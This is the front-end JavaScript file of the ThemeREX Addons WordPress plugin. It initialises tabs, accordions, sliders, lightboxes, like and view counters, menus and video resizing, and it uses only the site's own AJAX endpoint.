/home/bonphmya/geseroff.online/wp-content/plugins/trx_addons/js/trx_addons.front.js
/**
 * Init scripts
 *
 * @package WordPress
 * @subpackage ThemeREX Addons
 * @since v1.0
 */

/* global jQuery:false */
/* global TRX_ADDONS_STORAGE:false */

jQuery(document).ready(function() {

	"use strict";

	var vc_init_counter = 0;

	trx_addons_init_actions();
	
	// Show preloader
	jQuery(window).on('beforeunload', function(e) {
		if (jQuery.browser && !jQuery.browser.safari) {
			jQuery('#page_preloader').css({display: 'block', opacity: 0}).animate({opacity:0.8}, 300);
			setTimeout(trx_addons_hide_preloader, 5000);
		}
	});


	// Hide preloader
	function trx_addons_hide_preloader() {
		jQuery('#page_preloader').animate({opacity:0}, 800, function() {
									jQuery(this).css( {display: 'none'} );
									});
	}
		
	// Init actions
	function trx_addons_init_actions() {
		
		if (TRX_ADDONS_STORAGE['vc_edit_mode'] > 0 && jQuery('.vc_empty-placeholder').length==0 && vc_init_counter++ < 30) {
			setTimeout(trx_addons_init_actions, 200);
			return;
		}

		// Hide preloader
		trx_addons_hide_preloader();
		
		// Show system message
		var msg = jQuery('.trx_addons_message_box_system'),
			msg_delay = 5000;
		if (msg.length > 0) {
			setTimeout(function() {
				msg.fadeIn().delay(msg_delay).fadeOut();
			}, 1000);
			var login = jQuery('.trx_addons_login_link');
			if (msg.hasClass('trx_addons_message_box_error') && login.length > 0) {
				setTimeout(function() {
					login.trigger('click');
				}, 2000+msg_delay);
			}
		}
		
		// Check for Retina display
		trx_addons_set_cookie('trx_addons_is_retina', trx_addons_is_retina() ? 1 : 0, 365);
	
		// Add ready actions to the hidden elements actions
		jQuery(document).on('action.init_hidden_elements', function() {
			// Init core elements
			trx_addons_ready_actions();
			// Generate 'scroll' event after hidden elements are inited
			jQuery(window).trigger('scroll');
		});

		// First call to init core actions
		trx_addons_ready_actions();


		// Add our handlers after the VC init
		var vc_js = false;
		jQuery(document).on('vc_js', function() {
			if (!vc_js)	{
				vc_js = true;
				trx_addons_add_handlers();
			}
		});

		// Add our handlers if VC is no activated
		setTimeout(function() {
			if (!vc_js)	{
				trx_addons_add_handlers();
			}
		}, 1);

		// Add our handlers
		function trx_addons_add_handlers() {		
			// Resize handlers
			trx_addons_resize_actions();
			jQuery(window).resize(function() {
				trx_addons_resize_actions();
			});

			// Scroll handlers
			trx_addons_scroll_actions();
			jQuery(window).scroll(function() {
				trx_addons_scroll_actions();
			});

			// Inject our code in the VC function wpb_prepare_tab_content()
			// to init our elements on the new VC tabs, tour and accordion activation
			typeof window.wpb_prepare_tab_content == "function"
				&& typeof window.wpb_prepare_tab_content_old == "undefined"
				&& (window.wpb_prepare_tab_content_old = window.wpb_prepare_tab_content)
				&& (window.wpb_prepare_tab_content = function(e, ui) {
					// Call ThemeREX Addons actions
					if (typeof ui.newPanel !== 'undefined' && ui.newPanel.length > 0) {
						jQuery(document).trigger('action.init_hidden_elements', [ui.newPanel]);
					} else if (typeof ui.panel !== 'undefined' && ui.panel.length > 0) {
						jQuery(document).trigger('action.init_hidden_elements', [ui.panel]);
					}
					// Call old VC handler
					window.wpb_prepare_tab_content_old(e, ui);
				});
			// Inject our code in the VC function vc_accordionActivate()
			// to init our elements on the old VC accordion activation
			typeof window.vc_accordionActivate == "function"
				&& typeof window.vc_accordionActivate_old == "undefined"
				&& (window.vc_accordionActivate_old = window.vc_accordionActivate)
				&& (window.vc_accordionActivate = function(e, ui) {
					// Call ThemeREX Addons actions
					if (typeof ui.newPanel !== 'undefined' && ui.newPanel.length > 0) {
						jQuery(document).trigger('action.init_hidden_elements', [ui.newPanel]);
					} else if (typeof ui.panel !== 'undefined' && ui.panel.length > 0) {
						jQuery(document).trigger('action.init_hidden_elements', [ui.panel]);
					}
					// Call old VC handler
					window.vc_accordionActivate_old(e, ui);
				});
		}
	}
	
	
	
	// Page first load actions
	//==============================================
	function trx_addons_ready_actions(e, container) {
	
		if (container === undefined) container = jQuery('body');

		// Animate to the page-inner links
		//----------------------------------------------
		if (TRX_ADDONS_STORAGE['animate_inner_links'] > 0 && !container.hasClass('animate_to_inited')) {
			container.addClass('animate_to_inited')
				.on('click', 'a', function(e) {
					var link_obj = jQuery(this);
					var link_parent = link_obj.parent();
					// Skip tabs and accordions
					if (link_parent.parent().hasClass('trx_addons_tabs_titles')	// trx_addons_tabs
						|| link_parent.hasClass('vc_tta-tab') 					// new VC tabs, old VC tabs, new VC tour
						|| link_obj.hasClass('vc_pagination-trigger')			// pagination in VC tabs
						|| link_obj.hasClass('ui-tabs-anchor') 					// old VC tour
						|| link_parent.hasClass('vc_tta-panel-title')			// new VC accordion
						|| link_parent.hasClass('wpb_accordion_header') 		// old VC accordion
						) return;
					var href = link_obj.attr('href');
					if (href == '#') return;
					if (trx_addons_is_local_link(href)) {
						var pos = href.indexOf('#'),
							offset = 0;
						if (pos >= 0) {
							href = href.substr(pos);
							var obj = jQuery(href);
							if (obj.length > 0)
								offset = obj.offset().top - trx_addons_fixed_rows_height();
						}
						trx_addons_document_animate_to(offset);
						e.preventDefault();
						return false;
					}
				});
		}
		
	
		// Tabs
		//------------------------------------
		if (jQuery.ui && jQuery.ui.tabs && container.find('.trx_addons_tabs:not(.inited)').length > 0) {
			container.find('.trx_addons_tabs:not(.inited)').each(function () {
				// Get initially opened tab
				var init = jQuery(this).data('active');
				if (isNaN(init)) {
					init = 0;
					var active = jQuery(this).find('> ul > li[data-active="true"]').eq(0);
					if (active.length > 0) {
						init = active.index();
						if (isNaN(init) || init < 0) init = 0;
					}
				} else {
					init = Math.max(0, init);
				}
				// Get disabled tabs
				var disabled = [];
				jQuery(this).find('> ul > li[data-disabled="true"]').each(function() {
					disabled.push(jQuery(this).index());
				});
				// Init tabs
				jQuery(this).addClass('inited').tabs({
					active: init,
					disabled: disabled,
					show: {
						effect: 'fadeIn',
						duration: 300
					},
					hide: {
						effect: 'fadeOut',
						duration: 300
					},
					create: function( event, ui ) {
						if (ui.panel.length > 0) jQuery(document).trigger('action.init_hidden_elements', [ui.panel]);
					},
					activate: function( event, ui ) {
						if (ui.newPanel.length > 0) jQuery(document).trigger('action.init_hidden_elements', [ui.newPanel]);
					}
				});
			});
		}
	
	
		// Accordion
		//------------------------------------
		if (jQuery.ui && jQuery.ui.accordion && container.find('.trx_addons_accordion:not(.inited)').length > 0) {
			container.find('.trx_addons_accordion:not(.inited)').each(function () {
				// Get headers selector
				var accordion = jQuery(this);
				var headers = accordion.data('headers');
				if (headers===undefined) headers = 'h5';
				// Get height style
				var height_style = accordion.data('height-style');
				if (height_style===undefined) height_style = 'content';
				// Get collapsible
				var collapsible = accordion.data('collapsible');
				if (collapsible===undefined) collapsible = false;
				// Get initially opened tab
				var init = accordion.data('active');
				var active = false;
				if (isNaN(init)) {
					init = 0;
					var active = accordion.find(headers+'[data-active="true"]').eq(0);
					if (active.length > 0) {
						while (!active.parent().hasClass('trx_addons_accordion')) {
							active = active.parent();
						}
						init = active.index();
						if (isNaN(init) || init < 0) init = 0;
					}
				} else {
					init = Math.max(0, init);
				}
				// Init accordion
				accordion.addClass('inited').accordion({
					active: init,
					collapsible: collapsible,
					header: headers,
					heightStyle: height_style,
					create: function( event, ui ) {
						if (ui.panel.length > 0) {
							jQuery(document).trigger('action.init_hidden_elements', [ui.panel]);
						} else if (active !== false && active.length > 0) {
							// If headers and panels wrapped into div
							active.find('>'+headers).trigger('click');
						}
					},
					activate: function( event, ui ) {
						if (ui.newPanel.length > 0) jQuery(document).trigger('action.init_hidden_elements', [ui.newPanel]);
					}
				});
			});
		}
	
	
		// Color Picker
		var cp = container.find('.trx_addons_color_selector:not(.inited)'),
			cp_created = false;
		if (cp.length > 0) {
			cp.addClass('inited').each(function() {
				// Internal ColorPicker
				if (jQuery(this).hasClass('iColorPicker')) {
					if (!cp_created) {
						trx_addons_color_picker();
						cp_created = true;
					}
					trx_addons_change_field_colors(jQuery(this));
					jQuery(this)
						.on('focus', function (e) {
							trx_addons_color_picker_show(null, jQuery(this), function(fld, clr) {
								fld.val(clr).trigger('change');
								trx_addons_change_field_colors(fld);
							});
						}).on('change', function(e) {
							trx_addons_change_field_colors(jQuery(this));
						});
					
				// WP ColorPicker - Iris
				} else if (typeof jQuery.fn.wpColorPicker != 'undefined') {
					jQuery(this).wpColorPicker({
						// you can declare a default color here,
						// or in the data-default-color attribute on the input
						//defaultColor: false,
				
						// a callback to fire whenever the color changes to a valid color
						change: function(e, ui){
							jQuery(e.target).val(ui.color).trigger('change');
						},
				
						// a callback to fire when the input is emptied or an invalid color
						clear: function(e) {
							jQuery(e.target).prev().trigger('change')
						},
				
						// hide the color picker controls on load
						//hide: true,
				
						// show a group of common colors beneath the square
						// or, supply an array of colors to customize further
						//palettes: true
					});
				}
			});
		}
	
		// Change colors of the field
		function trx_addons_change_field_colors(fld) {
			var clr = fld.val(),
				hsb = trx_addons_hex2hsb(clr);
			fld.css({
				'backgroundColor': clr,
				'color': hsb['b'] < 70 ? '#fff' : '#000'
			});
		}


		// Range Slider
		//------------------------------------
		if (jQuery.ui && jQuery.ui.slider && container.find('.trx_addons_range_slider:not(.inited)').length > 0) {
			container.find('.trx_addons_range_slider:not(.inited)').each(function () {
				// Get parameters
				var range_slider = jQuery(this);
				var linked_field = range_slider.data('linked_field');
				if (linked_field===undefined) linked_field = range_slider.prev('input[type="hidden"]');
				else linked_field = jQuery('#'+linked_field);
				if (linked_field.length == 0) return;
				var range_slider_cur = range_slider.find('> .trx_addons_range_slider_label_cur');
				var range_slider_type = range_slider.data('range');
				if (range_slider_type===undefined) range_slider_type = 'min';
				var values = linked_field.val().split(',');
				var minimum = range_slider.data('min');
				if (minimum===undefined) minimum = 0;
				var maximum = range_slider.data('max');
				if (maximum===undefined) maximum = 0;
				var step = range_slider.data('step');
				if (step===undefined) step = 1;
				// Init range slider
				var init_obj = {
					range: range_slider_type,
					min: minimum,
					max: maximum,
					step: step,
					slide: function(event, ui) {
						var cur_values = range_slider_type === 'min' ? [ui.value] : ui.values;
						linked_field.val(cur_values.join(',')).trigger('change');
						for (var i=0; i < cur_values.length; i++) {
							range_slider_cur.eq(i)
									.html(cur_values[i])
									.css('left', Math.max(0, Math.min(100, (cur_values[i]-minimum)*100/(maximum-minimum)))+'%');
						}
					},
					create: function(event, ui) {
						for (var i=0; i < values.length; i++) {
							range_slider_cur.eq(i)
									.html(values[i])
									.css('left', Math.max(0, Math.min(100, (values[i]-minimum)*100/(maximum-minimum)))+'%');
						}
					}
				};
				if (range_slider_type === true)
					init_obj.values = values;
				else
					init_obj.value = values[0];
				range_slider.addClass('inited').slider(init_obj);
			});
		}
	
	
		// Select2
		//------------------------------------
		if (jQuery.fn && jQuery.fn.select2) {
			container.find('.trx_addons_select2:not(.inited)').addClass('inited').select2();
		}
	
	
		// Sliders
		//----------------------------------------------
		jQuery(document).trigger('action.init_sliders', [container]);
	
	
		// Shortcodes
		//----------------------------------------------
		jQuery(document).trigger('action.init_shortcodes', [container]);
	
	
		// Video player
		//----------------------------------------------
		if (container.find('.trx_addons_video_player.with_cover .video_hover:not(.inited)').length > 0) {
			container.find('.trx_addons_video_player.with_cover .video_hover:not(.inited)')
				.addClass('inited')
				.on('click', function(e) {
					
					// If video in the popup
					if (jQuery(this).hasClass('trx_addons_popup_link')) return;
					
					jQuery(this).parents('.trx_addons_video_player')
						.addClass('video_play')
						.find('.video_embed').html(jQuery(this).data('video'));
	
					// If video in the slide
					var slider = jQuery(this).parents('.slider_swiper');
					if (slider.length > 0) {
						var id = slider.attr('id');
						TRX_ADDONS_STORAGE['swipers'][id].stopAutoplay();
						// If slider have controller - stop it too
						id = slider.data('controller');
						if (id && TRX_ADDONS_STORAGE['swipers'][id+'_swiper'])
							TRX_ADDONS_STORAGE['swipers'][id+'_swiper'].stopAutoplay();
						
					}
	
					jQuery(window).trigger('resize');
					e.preventDefault();
					return false;
				});
		}
	
	
		// Popups
		//----------------------------------------------

		// PrettyPhoto Engine
		if (TRX_ADDONS_STORAGE['popup_engine'] == 'pretty') {
			// Display lightbox on click on the image
			container.find("a[href$='jpg']:not(.inited),a[href$='jpeg']:not(.inited),a[href$='png']:not(.inited),a[href$='gif']:not(.inited)").each(function() {
				if (!jQuery(this).parent().hasClass('woocommerce-product-gallery__image'))
					jQuery(this).attr('rel', 'prettyPhoto[slideshow]');
			});
			var images = container.find("a[rel*='prettyPhoto']:not(.inited):not(.esgbox):not([data-rel*='pretty']):not([rel*='magnific']):not([data-rel*='magnific'])").addClass('inited');
			try {
				images.prettyPhoto({
					social_tools: '',
					theme: 'facebook',
					deeplinking: false
				});
			} catch (e) {};
		
		// or Magnific Popup Engine
		} else if (TRX_ADDONS_STORAGE['popup_engine']=='magnific') {
			// Display lightbox on click on the image
			container.find("a[href$='jpg']:not(.inited),a[href$='jpeg']:not(.inited),a[href$='png']:not(.inited),a[href$='gif']:not(.inited)").each(function() {
				//if (!jQuery(this).parent().hasClass('woocommerce-product-gallery__image'))
				if (jQuery(this).parents('.cq-dagallery').length == 0)
					jQuery(this).attr('rel', 'magnific');
			});
			var images = container.find("a[rel*='magnific']:not(.inited):not(.esgbox):not(.prettyphoto):not([rel*='pretty']):not([data-rel*='pretty'])").addClass('inited');
			// Unbind prettyPhoto
			setTimeout(function() {	images.unbind('click.prettyphoto'); }, 100);
			// Bind Magnific
			try {
				images.magnificPopup({
					type: 'image',
					mainClass: 'mfp-img-mobile',
					closeOnContentClick: true,
					closeBtnInside: true,
					fixedContentPos: true,
					midClick: true,
					//removalDelay: 500, 
					preloader: true,
					tLoading: TRX_ADDONS_STORAGE['msg_magnific_loading'],
					gallery:{
						enabled: true
					},
					image: {
						tError: TRX_ADDONS_STORAGE['msg_magnific_error'],
						verticalFit: true
					},
					zoom: {
						enabled: true,
						duration: 300,
						easing: 'ease-in-out',
						opener: function(openerElement) {
							// openerElement is the element on which popup was initialized, in this case its <a> tag
							// you don't need to add "opener" option if this code matches your needs, it's defailt one.
							if (!openerElement.is('img')) {
								if (openerElement.parents('.trx_addons_hover').find('img').length > 0)
									openerElement = openerElement.parents('.trx_addons_hover').find('img');
								else if (openerElement.find('img').length > 0)
									 openerElement = openerElement.find('img');
								else if (openerElement.siblings('img').length > 0)
									 openerElement = openerElement.siblings('img');
								else if (openerElement.parent().parent().find('img').length > 0)
									 openerElement = openerElement.parent().parent().find('img');
							}
							return openerElement; 
						}
					},
					callbacks: {
						beforeClose: function(){
							jQuery('.mfp-figure figcaption').hide();
							jQuery('.mfp-figure .mfp-arrow').hide();
						}
					}
				});
			} catch (e) {};
	
			// Display lightbox on click on the popup link
			container.find(".trx_addons_popup_link:not(.popup_inited)").addClass('popup_inited').magnificPopup({
				type: 'inline',
				focus: 'input',
				closeBtnInside: true,
				callbacks: {
					// Will fire when this exact popup is opened
					// this - is Magnific Popup object
					open: function () {
						// Store popup content to the data-param or restore it when popup open again (second time)
						if (jQuery(this.content).data('popup-content') === undefined)
							jQuery(this.content).data('popup-content', jQuery(this.content).html());
						else
							jQuery(this.content).html(jQuery(this.content).data('popup-content'));
						// Init hidden elements
						jQuery(document).trigger('action.init_hidden_elements', [jQuery(this.content)]);
						// If popup contain embedded video
						var frame = jQuery(this.content).find('.video_frame');
						if (frame.length > 0) {
							// Add autoplay to the embedded video
							frame.find('> iframe').each(function () {
								var src = jQuery(this).attr('src');
								if (src.indexOf('youtube')>=0 || src.indexOf('vimeo')>=0) {
									jQuery(this).attr('src', trx_addons_add_to_url(src, {'autoplay': 1}));
								}
							});
						}
					},
					close: function () {
						// Remove video
						jQuery(this.content).empty();
					},
					// resize event triggers only when height is changed or layout forced
					resize: function () {
						trx_addons_resize_actions();
					}
				}
			});
		}
	
	
		// Likes counter
		//---------------------------------------------
		if (container.find('a.post_counters_likes:not(.inited),a.comment_counters_likes:not(.inited)').length > 0) {
			container.find('a.post_counters_likes:not(.inited),a.comment_counters_likes:not(.inited)')
				.addClass('inited')
				.on('click', function(e) {
					var button = jQuery(this);
					var inc = button.hasClass('enabled') ? 1 : -1;
					var post_id = button.hasClass('post_counters_likes') ? button.data('postid') :  button.data('commentid');
					var cookie_likes = trx_addons_get_cookie(button.hasClass('post_counters_likes') ? 'trx_addons_likes' : 'trx_addons_comment_likes');
					if (cookie_likes === undefined || cookie_likes===null) cookie_likes = '';
					jQuery.post(TRX_ADDONS_STORAGE['ajax_url'], {
						action: button.hasClass('post_counters_likes') ? 'post_counter' : 'comment_counter',
						nonce: TRX_ADDONS_STORAGE['ajax_nonce'],
						post_id: post_id,
						likes: inc
					}).done(function(response) {
						var rez = {};
						try {
							rez = JSON.parse(response);
						} catch (e) {
							rez = { error: TRX_ADDONS_STORAGE['msg_ajax_error'] };
							console.log(response);
						}
						if (rez.error === '') {
							var counter = rez.counter;
							if (inc == 1) {
								var title = button.data('title-dislike');
								button.removeClass('enabled trx_addons_icon-heart-empty').addClass('disabled trx_addons_icon-heart');
								cookie_likes += (cookie_likes.substr(-1)!=',' ? ',' : '') + post_id + ',';
							} else {
								var title = button.data('title-like');
								button.removeClass('disabled trx_addons_icon-heart').addClass('enabled trx_addons_icon-heart-empty');
								cookie_likes = cookie_likes.replace(','+post_id+',', ',');
							}
							button.data('likes', counter).attr('title', title).find(button.hasClass('post_counters_likes') ? '.post_counters_number' : '.comment_counters_number').html(counter);
							trx_addons_set_cookie(button.hasClass('post_counters_likes') ? 'trx_addons_likes' : 'trx_addons_comment_likes', cookie_likes, 365);
						} else {
							alert(TRX_ADDONS_STORAGE['msg_error_like']);
						}
					});
					e.preventDefault();
					return false;
				});
		}
	
	
		// Emotions counter
		//---------------------------------------------
		if (container.find('.trx_addons_emotions:not(.inited)').length > 0) {
			container.find('.trx_addons_emotions:not(.inited)')
				.addClass('inited')
				.on('click', '.trx_addons_emotions_item', function(e) {
					var button = jQuery(this);
					var button_active = button.parent().find('.trx_addons_emotions_active');
					var post_id = button.data('postid');
					jQuery.post(TRX_ADDONS_STORAGE['ajax_url'], {
						action: 'post_counter',
						nonce: TRX_ADDONS_STORAGE['ajax_nonce'],
						post_id: post_id,
						emotion_inc: button.data('slug'),
						emotion_dec: button_active.length > 0 ? button_active.data('slug') : '',
					}).done(function(response) {
						var rez = {};
						try {
							rez = JSON.parse(response);
						} catch (e) {
							rez = { error: TRX_ADDONS_STORAGE['msg_ajax_error'] };
							console.log(response);
						}
						if (rez.error === '') {
							var cookie_likes = trx_addons_get_cookie('trx_addons_emotions'),
								cookie_likes_new = ',';
							if (cookie_likes) {
								cookie_likes = cookie_likes.split(',');
								for (var i=0; i<cookie_likes.length; i++) {
									if (cookie_likes[i] == '') continue;
									var tmp = cookie_likes[i].split('=');
									if (tmp[0] != post_id) cookie_likes_new += cookie_likes[i] + ',';
								}
							}
							cookie_likes = cookie_likes_new;
							if (button_active.length > 0) {
								button_active.removeClass('trx_addons_emotions_active');
							}
							if (button_active.length == 0 || button.data('slug') != button_active.data('slug')) {
								button.addClass('trx_addons_emotions_active');
								cookie_likes += (cookie_likes.substr(-1)!=',' ? ',' : '') + post_id + '=' + button.data('slug') + ',';
							}
							for (var i in rez.counter)
								button.parent().find('[data-slug="'+i+'"] .trx_addons_emotions_item_number').html(rez.counter[i]);
							trx_addons_set_cookie('trx_addons_emotions', cookie_likes, 365);
						} else {
							alert(TRX_ADDONS_STORAGE['msg_error_like']);
						}
					});
					e.preventDefault();
					return false;
				});
		}
	
	
		// Socials share
		//----------------------------------------------
		if (container.find('.socials_share .socials_caption:not(.inited)').length > 0) {
			container.find('.socials_share .socials_caption:not(.inited)').each(function() {
				jQuery(this).addClass('inited').on('click', function(e) {
					jQuery(this).siblings('.social_items').slideToggle();	//.toggleClass('opened');
					e.preventDefault();
					return false;
				});
			});
		}
		if (container.find('.socials_share .social_items:not(.inited)').length > 0) {
			container.find('.socials_share .social_items:not(.inited)').each(function() {
				jQuery(this).addClass('inited').on('click', '.social_item_popup', function(e) {
					var url = jQuery(this).data('link');
					window.open(url, '_blank', 'scrollbars=0, resizable=1, menubar=0, left=100, top=100, width=480, height=400, toolbar=0, status=0');
					e.preventDefault();
					return false;
				});
			});
		}
		
		
		// Widgets decoration
		//----------------------------------------------
	
		// Decorate nested lists in widgets and side panels
		container.find('.widget ul > li').each(function() {
			if (jQuery(this).find('ul').length > 0) {
				jQuery(this).addClass('has_children');
			}
		});
	
		// Archive widget decoration
		container.find('.widget_archive a:not(.inited)').addClass('inited').each(function() {
			var val = jQuery(this).html().split(' ');
			if (val.length > 1) {
				val[val.length-1] = '<span>' + val[val.length-1] + '</span>';
				jQuery(this).html(val.join(' '))
			}
		});
	
	
		// Menu
		//----------------------------------------------
	
		// Prepare menus (if menu cache is used)
		jQuery('.sc_layouts_menu_nav').each(function() {
			if (jQuery(this).find('.current-menu-item').length == 0 || jQuery('body').hasClass('blog_template')) {
				if (TRX_ADDONS_STORAGE['menu_cache'] === undefined) TRX_ADDONS_STORAGE['menu_cache'] = [];
				var id = jQuery(this).attr('id');
				if (id === undefined) {
					id = ('sc_layouts_menu_nav_' + Math.random()).replace('.', '');
					jQuery(this).attr('id', id);
				}
				TRX_ADDONS_STORAGE['menu_cache'].push('#'+id);
			}
		});
		if (TRX_ADDONS_STORAGE['menu_cache'] && TRX_ADDONS_STORAGE['menu_cache'].length > 0) {
			// Mark the current menu item and its parent items in the cached menus
			var href = window.location.href;
			if (href.substr(-1)=='/') href = href.substr(0, href.length-1);
			var href2 = href + '/';
			for (var i = 0; i < TRX_ADDONS_STORAGE['menu_cache'].length; i++) {
				var menu = jQuery(TRX_ADDONS_STORAGE['menu_cache'][i]+':not(.prepared)');
				if (menu.length==0) continue;
				menu.addClass('prepared');
				menu.find('li').removeClass('current-menu-ancestor current-menu-parent current-menu-item current_page_item');
				menu.find('a[href="'+href+'"],a[href="'+href2+'"]').each(function(idx) {
					var li = jQuery(this).parent();
					li.addClass('current-menu-item');
					if (li.hasClass('menu-item-object-page')) li.addClass('current_page_item');
					var cnt = 0;
					while ((li = li.parents('li')).length > 0) {
						cnt++;
						li.addClass('current-menu-ancestor'+(cnt==1 ? ' current-menu-parent' : ''));
					}
				});
			}
		}
	
	
		// Other settings
		//------------------------------------
	
		// Scroll to top button
		container.find('.trx_addons_scroll_to_top:not(.inited)').addClass('inited').on('click', function(e) {
			jQuery('html,body').animate({
				scrollTop: 0
			}, 'slow');
			e.preventDefault();
			return false;
		});
	
		// Call plugins specific action (if exists)
		//----------------------------------------------
		jQuery(document).trigger('action.before_ready_trx_addons');
		jQuery(document).trigger('action.ready_trx_addons');
		jQuery(document).trigger('action.after_ready_trx_addons');
		
	} //end ready


	// Increment post views counter via AJAX
	if (TRX_ADDONS_STORAGE['ajax_views']) {
		jQuery(document).on('action.ready_trx_addons', function() {
			if (!TRX_ADDONS_STORAGE['post_views_counter_inited']) {
				TRX_ADDONS_STORAGE['post_views_counter_inited'] = true;
				setTimeout(function() {
					jQuery.post(TRX_ADDONS_STORAGE['ajax_url'], {
						action: 'post_counter',
						nonce: TRX_ADDONS_STORAGE['ajax_nonce'],
						post_id: TRX_ADDONS_STORAGE['post_id'],
						views: 1
					}).done(function(response) {
						var rez = {};
						try {
							rez = JSON.parse(response);
						} catch (e) {
							rez = { error: TRX_ADDONS_STORAGE['ajax_error'] };
							console.log(response);
						}
						if (rez.error === '') {
							jQuery('.post_counters_single .post_counters_views .post_counters_number,.sc_layouts_title_meta .post_counters_views .post_counters_number').html(rez.counter);
						}
					});
				}, 10);
			}
		});
	}


	
	// Scroll actions
	//==============================================
	
	// Do actions when page scrolled
	function trx_addons_scroll_actions() {

		var scroll_offset = jQuery(window).scrollTop();
		var scroll_to_top_button = jQuery('.trx_addons_scroll_to_top');
		var adminbar_height = Math.max(0, jQuery('#wpadminbar').height());
	
		// Scroll to top button show/hide
		if (scroll_to_top_button.length > 0) {
			if (scroll_offset > 100)
				scroll_to_top_button.addClass('show');
			else
				scroll_to_top_button.removeClass('show');
		}
	
		// Scroll actions for animated elements
		jQuery('[data-animation^="animated"]:not(.animated)').each(function() {
			if (jQuery(this).offset().top < scroll_offset + jQuery(window).height())
				jQuery(this).addClass(jQuery(this).data('animation'));
		});
	
		// Call theme/plugins specific action (if exists)
		//----------------------------------------------
		jQuery(document).trigger('action.scroll_trx_addons');
	}
	
	
	
	// Resize actions
	//==============================================
	
	// Do actions when page scrolled
	function trx_addons_resize_actions(cont) {
		if (cont===undefined) cont = jQuery('body');

		// Before plugin's resize actions
		jQuery(document).trigger('action.resize_vc_row_start', [cont]);

		// Plugin's resize actions
		trx_addons_resize_video(cont);

		// Call theme/plugins specific action (if exists)
		jQuery(document).trigger('action.resize_trx_addons', [cont]);

		// After plugin's resize actions
		jQuery(document).trigger('action.resize_vc_row_end', [cont]);
	}



// Fit video frames to document width
	function trx_addons_resize_video(cont) {
		if (cont===undefined) cont = jQuery('body');
		cont.find('video').each(function() {
			// If item now invisible
			if (jQuery(this).parents('div:hidden,section:hidden,article:hidden').length > 0) {
				return;
			}
			var video = jQuery(this).addClass('trx_addons_resize').eq(0);
			var ratio = (video.data('ratio') !== undefined ? video.data('ratio').split(':') : [16,9]);
			ratio = ratio.length!=2 || ratio[0]==0 || ratio[1]==0 ? 16/9 : ratio[0]/ratio[1];
			var mejs_cont = video.parents('.mejs-video').eq(0);
			var w_attr = video.data('width');
			var h_attr = video.data('height');
			if (!w_attr || !h_attr) {
				w_attr = video.attr('width');
				h_attr = video.attr('height');
				if ((!w_attr || !h_attr) && mejs_cont.length > 0) {
					w_attr = mejs_cont.width();
					h_attr = mejs_cont.height();
				}
				if (!w_attr || !h_attr) return;
				video.data({'width': w_attr, 'height': h_attr});
			}
			var percent = (''+w_attr).substr(-1)=='%';
			w_attr = parseInt(w_attr, 10);
			h_attr = parseInt(h_attr, 10);
			var w_real = Math.round(mejs_cont.length > 0
				? Math.min(percent ? 10000 : w_attr, mejs_cont.parents('div,article').eq(0).width())
				: Math.min(percent ? 10000 : w_attr, video.parents('div,article').eq(0).width())
				),
				h_real = Math.round(percent ? w_real/ratio : w_real/w_attr*h_attr);
			if (parseInt(video.attr('data-last-width'), 10)==w_real)
				return;
			if (percent) {
				video.height(h_real);
			} else if (video.parents('.wp-video-playlist').length > 0) {
				if (mejs_cont.length === 0) {
					video.attr({'width': w_real, 'height': h_real});
				}
			} else {
				video.attr({'width': w_real, 'height': h_real}).css({'width': w_real+'px', 'height': h_real+'px'});
				if (mejs_cont.length > 0) {
					trx_addons_set_mejs_player_dimensions(video, w_real, h_real);
				}
			}
			video.attr('data-last-width', w_real);
		});
		cont.find('.video_frame iframe,iframe').each(function() {
			// If item now invisible
			if (jQuery(this).addClass('trx_addons_resize').parents('div:hidden,section:hidden,article:hidden').length > 0) {
				return;
			}
			var iframe = jQuery(this).eq(0),
				iframe_src = iframe.attr('src') ? iframe.attr('src') : iframe.data('src');
			if (iframe_src === undefined || iframe_src.indexOf('soundcloud') > 0) return;
			var ratio = (iframe.data('ratio') !== undefined
					? iframe.data('ratio').split(':')
					: (iframe.parent().data('ratio') !== undefined
							? iframe.parent().data('ratio').split(':')
							: (iframe.find('[data-ratio]').length>0
									? iframe.find('[data-ratio]').data('ratio').split(':')
									: [16,9]
							)
					)
			);
			ratio = ratio.length!=2 || ratio[0]==0 || ratio[1]==0 ? 16/9 : ratio[0]/ratio[1];
			var w_attr = iframe.attr('width');
			var h_attr = iframe.attr('height');
			if (!w_attr || !h_attr) {
				return;
			}
			var percent = (''+w_attr).substr(-1)=='%';
			w_attr = parseInt(w_attr, 10);
			h_attr = parseInt(h_attr, 10);
			var par    = iframe.parents('div,section').eq(0),
				pw     = par.width(),
				ph     = par.height(),
				w_real = pw,
				h_real = Math.round(percent ? w_real/ratio : w_real/w_attr*h_attr);
			if (par.css('position') == 'absolute' && h_real > ph) {
				h_real = ph;
				w_real = Math.round(percent ? h_real*ratio : h_real*w_attr/h_attr)
			}
			if (parseInt(iframe.attr('data-last-width'), 10)==w_real) return;
			iframe.css({'width': w_real+'px', 'height': h_real+'px'});
			iframe.attr('data-last-width', w_real);
		});
	}


	// Set Media Elements player dimensions
	function trx_addons_set_mejs_player_dimensions(video, w, h) {
		if (mejs) {
			for (var pl in mejs.players) {
				if (mejs.players[pl].media.src == video.attr('src')) {
					if (mejs.players[pl].media.setVideoSize) {
						mejs.players[pl].media.setVideoSize(w, h);
					} else if (mejs.players[pl].media.setSize) {
						mejs.players[pl].media.setSize(w, h);
					}
					mejs.players[pl].setPlayerSize(w, h);
					mejs.players[pl].setControlsSize();
				}
			}
		}
	}


